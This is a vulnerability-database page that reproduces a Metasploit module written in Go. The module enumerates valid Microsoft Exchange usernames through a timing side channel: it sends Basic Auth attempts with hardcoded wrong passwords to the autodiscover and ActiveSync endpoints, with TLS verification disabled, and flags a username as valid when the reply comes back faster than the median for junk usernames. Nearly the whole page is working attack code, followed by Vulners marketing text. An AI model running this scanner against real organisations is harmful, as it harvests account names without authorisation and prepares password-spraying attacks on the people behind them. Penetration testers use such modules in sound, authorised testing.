Lucene search
+L

On premise user enumeration

🗓️ 03 Dec 2018 16:25:21Reported by poptart, jlarose, Vincent Yiu, grimhacker, Nate Power, Nick Powers, clee-r7Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 37 Views

On premise enumeration of valid exchange user

Code
//usr/bin/env go run "$0" "$@"; exit "$?"

package main

import (
	"crypto/tls"
	"metasploit/module"
	"msmail"
	"net/http"
	"sort"
	"strconv"
	"sync"
	"time"
)

func main() {
	metadata := &module.Metadata{
		Name:        "On premise user enumeration",
		Description: "On premise enumeration of valid exchange users",
		Authors:     []string{"poptart", "jlarose", "Vincent Yiu", "grimhacker", "Nate Power", "Nick Powers", "clee-r7"},
		Date:        "2018-11-06",
		Type:        "single_scanner",
		Privileged:  false,
		References:  []module.Reference{},
		Options: map[string]module.Option{
			"USERNAME":   {Type: "string", Description: "Single user name to do identity test against", Required: false, Default: ""},
			"USER_FILE":  {Type: "string", Description: "Path to file containing list of users", Required: false, Default: ""},
		}}

	module.Init(metadata, run_onprem_enum)
}

func run_onprem_enum(params map[string]interface{}) {
	userFile := params["USER_FILE"].(string)
	userName := params["USERNAME"].(string)
	host := params["rhost"].(string)
	threads, e := strconv.Atoi(params["THREADS"].(string))
	if e != nil {
		module.LogError("Unable to parse 'Threads' value using default (5)")
		threads = 5
	}

	if threads > 100 {
		module.LogInfo("Threads value too large, setting max(100)")
		threads = 100
	}

	if userFile == "" && userName == "" {
		module.LogError("Expected 'USER_FILE' or 'USERNAME' field to be populated")
		return
	}

	var validUsers []string
	avgResponse := basicAuthAvgTime(host)
	if userFile != "" {
		validUsers = determineValidUsers(host, avgResponse, msmail.ImportUserList(userFile), threads)
	} else {
		validUsers = determineValidUsers(host, avgResponse, []string{userName}, threads)
	}

	msmail.ReportValidUsers(host, validUsers)
}

func determineValidUsers(host string, avgResponse time.Duration, userlist []string, threads int) []string {
	limit := threads
	var wg sync.WaitGroup
	queue := make(chan string)

	/*Keep in mind you, nothing has been added to handle successful auths
	  so the password for auth attempts has been hardcoded to something
	  that is not likely to be correct.
	*/
	pass := "Summer2018978"
	internaldomain := msmail.HarvestInternalDomain(host, false)
	url1 := "https://" + host + "/autodiscover/autodiscover.xml"
	url2 := "https://" + host + "/Microsoft-Server-ActiveSync"
	url3 := "https://autodiscover." + host + "/autodiscover/autodiscover.xml"
	var urlToHarvest string
	if msmail.WebRequestCodeResponse(url1) == 401 {
		urlToHarvest = url1
	} else if msmail.WebRequestCodeResponse(url2) == 401 {
		urlToHarvest = url2
	} else if msmail.WebRequestCodeResponse(url3) == 401 {
		urlToHarvest = url3
	} else {
		module.LogInfo("Unable to resolve host provided to determine valid users.")
		return []string{}
	}
	var validusers []string
	tr := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
	}
	for i := 0; i < limit; i++ {
		wg.Add(1)
		go func(i int) {
			defer wg.Done()
			for user := range queue {
				startTime := time.Now()
				msmail.WebRequestBasicAuth(urlToHarvest, internaldomain+"\\"+user, pass, tr)
				elapsedTime := time.Since(startTime)

				if float64(elapsedTime) < float64(avgResponse)*0.77 {
					module.LogGood(user + " - " + elapsedTime.String())
					validusers = append(validusers, user)
				} else {
					module.LogError(user + " - " + elapsedTime.String())
				}
			}
		}(i)
	}

	for i := 0; i < len(userlist); i++ {
		queue <- userlist[i]
	}

	close(queue)
	wg.Wait()
	return validusers
}

func basicAuthAvgTime(host string) time.Duration {
	internaldomain := msmail.HarvestInternalDomain(host, false)
	url1 := "https://" + host + "/autodiscover/autodiscover.xml"
	url2 := "https://" + host + "/Microsoft-Server-ActiveSync"
	url3 := "https://autodiscover." + host + "/autodiscover/autodiscover.xml"
	var urlToHarvest string
	if msmail.WebRequestCodeResponse(url1) == 401 {
		urlToHarvest = url1
	} else if msmail.WebRequestCodeResponse(url2) == 401 {
		urlToHarvest = url2
	} else if msmail.WebRequestCodeResponse(url3) == 401 {
		urlToHarvest = url3
	} else {
		module.LogInfo("Unable to resolve host provided to determine valid users.")
		return -1
	}

	//We are determining sample auth response time for invalid users, the password used is irrelevant.
	pass := "Summer201823904"
	tr := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
	}
	module.LogInfo("Collecting sample auth times...")

	var sliceOfTimes []float64
	var medianTime float64

	usernamelist := []string{"sdfsdskljdfhkljhf", "ssdlfkjhgkjhdfsdfw", "sdfsdfdsfff", "sefsefsefsss", "lkjhlkjhiuyoiuy", "khiuoiuhohuio", "s2222dfs45g45gdf", "sdfseddf3333"}
	for i := 0; i < len(usernamelist)-1; i++ {
		startTime := time.Now()
		msmail.WebRequestBasicAuth(urlToHarvest, internaldomain+"\\"+usernamelist[i], pass, tr)
		elapsedTime := time.Since(startTime)
		if elapsedTime > time.Second*15 {
			module.LogInfo("Response taking longer than 15 seconds, setting time:")
			module.LogInfo("Avg Response: " + time.Duration(elapsedTime).String())
			return time.Duration(elapsedTime)
		}
		if i != 0 {
			module.LogInfo(elapsedTime.String())
			sliceOfTimes = append(sliceOfTimes, float64(elapsedTime))
		}
	}
	sort.Float64s(sliceOfTimes)
	if len(sliceOfTimes)%2 == 0 {
		positionOne := len(sliceOfTimes)/2 - 1
		positionTwo := len(sliceOfTimes) / 2
		medianTime = (sliceOfTimes[positionTwo] + sliceOfTimes[positionOne]) / 2
	} else if len(sliceOfTimes)%2 != 0 {
		position := len(sliceOfTimes)/2 - 1
		medianTime = sliceOfTimes[position]
	} else {
		module.LogError("Error determining whether length of times gathered is even or odd to obtain median value.")
	}
	module.LogInfo("Avg Response: " + time.Duration(medianTime).String())
	return time.Duration(medianTime)
}


Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation